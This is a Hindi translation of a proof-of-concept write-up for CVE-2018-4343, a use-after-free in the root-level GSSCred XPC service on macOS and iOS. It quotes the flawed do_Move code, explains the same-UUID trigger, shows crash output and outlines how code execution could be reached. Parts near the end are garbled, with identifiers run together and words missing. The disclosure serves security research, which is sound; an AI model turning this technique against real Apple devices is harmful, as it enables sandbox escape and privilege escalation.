
CVE-2018-4343: macOS और iOS पर GSSCred डेमॉन में use-after-free के लिए प्रूफ-ऑफ-कॉन्सेप्ट।
com.apple.GSSCred XPC सेवा, जो macOS और iOS पर root के रूप में चलती है, "move" कमांड को ठीक से लागू नहीं करती, जिससे do_Move फ़ंक्शन में use-after-free की स्थिति उत्पन्न होती है। GSSCred सेवा iOS पर डिफ़ॉल्ट एप्लिकेशन सैंडबॉक्स से पहुँची जा सकती है।
यह प्रोग्राम GSSCred सेवा को क्रैश करने के लिए भेद्यता का लाभ उठाता है। GSSCred में कोड निष्पादन प्राप्त करना रेस विंडो के दौरान मुक्त मेमोरी को नियंत्रित डेटा से ओवरराइट करने पर निर्भर करता है। macOS High Sierra 10.13.2 Beta 17C79a पर परीक्षण किया गया।
यहाँ do_Move के प्रासंगिक भाग Heimdal-520 से हैं, कुछ महत्वहीन त्रुटि-जाँच को छोड़कर:
//
// 1. from और to पूरी तरह से नियंत्रित UUID ऑब्जेक्ट हैं जो XPC अनुरोध से डीसीरियलाइज़ किए गए हैं।
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom और credto, from और to UUIDs द्वारा देखे गए HeimCredRef ऑब्जेक्ट हैं।
// CFDictionaryGetValue() ऑब्जेक्ट्स को बिना रेफरेंस जोड़े लौटाता है। ध्यान दें कि यदि
// from और to UUIDs समान हैं, तो credfrom और credto दोनों एक ही ऑब्जेक्ट को संदर्भित करेंगे।
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom को शब्दकोश से हटा दिया जाता है। चूँकि केवल एक रेफरेंस बकाया था,
// इससे credfrom मुक्त हो जाता है।
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. इस बिंदु पर हम credto की जाँच करते हैं। यदि credfrom और credto एक ही ऑब्जेक्ट को संदर्भित करते हैं, तो
// credto मुक्त HeimCredRef ऑब्जेक्ट के लिए एक गैर-NULL पॉइंटर है।
//
if (credto == NULL) {
...
} else {
//
// 5. अब हम credto को डीरेफरेंस करते हैं, मुक्त मेमोरी से पढ़े गए मान को CFDictionaryRef ऑब्जेक्ट के रूप में CFDictionaryGetValue() में पास करते हैं।
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
यह कोड निम्नलिखित करता है:
from और to, को डीसीरियलाइज़ करता है। अनुरोध पूरी तरह से नियंत्रित है, इसलिए हम इन UUIDs के मान मनमाने ढंग से सेट कर सकते हैं। यह जाँच नहीं की जाती है कि ये दोनों UUIDs समान हैं या नहीं।from और to के अनुरूप HeimCredRef ऑब्जेक्ट, credfrom और credto, को खोजता है। peer->session->items शब्दकोश वर्तमान में जुड़े क्लाइंट प्रोग्राम की ओर से GSSCred द्वारा प्रबंधित सभी क्रेडेंशियल्स को संग्रहीत करता है। ध्यान दें कि फ़ंक्शन CFDictionaryGetValue HeimCredRef ऑब्जेक्ट्स का एक रेफरेंस लौटाता है, लेकिन उनकी रेफरेंस गणना नहीं बढ़ाता है। विशेष रूप से, यदि from और to एक ही UUID हैं, तो credfrom और credto दोनों एक ही HeimCredRef की ओर इशारा करेंगे जिसकी रेफरेंस गणना 1 है (जो कि युक्त CFDictionary द्वारा रखी गई है)।credfrom को शब्दकोश से हटा दिया जाता है। यह आमतौर पर सुरक्षित होता है, क्योंकि जब और अलग-अलग UUIDs होते हैं, तो ऑब्जेक्ट मुक्त हो जाएगा और फिर कभी संदर्भित नहीं होता। हालांकि, जब और समान होते हैं, तो समस्याएँ होंगी, क्योंकि बाद में को संदर्भित किया जाता है।यह प्रोग्राम इस रेस विंडो को जीतने का प्रयास नहीं करता है। इसके बजाय, यह HeimCredRef के डिस्ट्रक्टर को attributes फ़ील्ड को शून्य करने देता है, जिससे CFDictionaryGetValue में NULL पॉइंटर डीरेफरेंस ट्रिगर होता है।
बनाने के लिए, make चलाएँ। विभिन्न बिल्ड विकल्पों के लिए Makefile का शीर्ष देखें।
एक्सप्लॉइट चलाने पर GSSCred के साथ आदान-प्रदान किए गए XPC संदेशों का क्रम दिखाई देगा:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
"Connection interrupted" XPC इवेंट इंगित करते हैं कि XPC कनेक्शन बाधित हो गया था, संभवतः GSSCred के क्रैश होने के कारण।
GSSCred-move-uaf कोड सार्वजनिक डोमेन में जारी किया गया है। शिष्टाचार के रूप में, मैं अनुरोध करता हूँ कि यदि आप इस कोड का संदर्भ देते हैं या इसका उपयोग करते हैं, तो कृपया मुझे श्रेय दें।
peer->session->itemsfromtocredfromfromtocredtocredto NULL है या नहीं। चूँकि credfrom और credto बराबर हैं और credfrom NULL नहीं था, हम else शाखा में प्रवेश करते हैं।credto को डीरेफरेंस करके attributes फ़ील्ड पढ़ता है, जिसे CFDictionaryGetValue के पहले पैरामीटर के रूप में पारित किया जाता है। यदि मुक्त मेमोरी जिसकी ओर credto इशारा कर रहा है, उस बीच पुनः आवंटित कर दी गई है और attributes फ़ील्ड का स्थान बदलकर एक विशेष रूप से तैयार किए गए नकली CFDictionary ऑब्जेक्ट की ओर इशारा करता है, तो इस चरण के साथ कोड निष्पादन प्राप्त करना संभव होना चाहिए।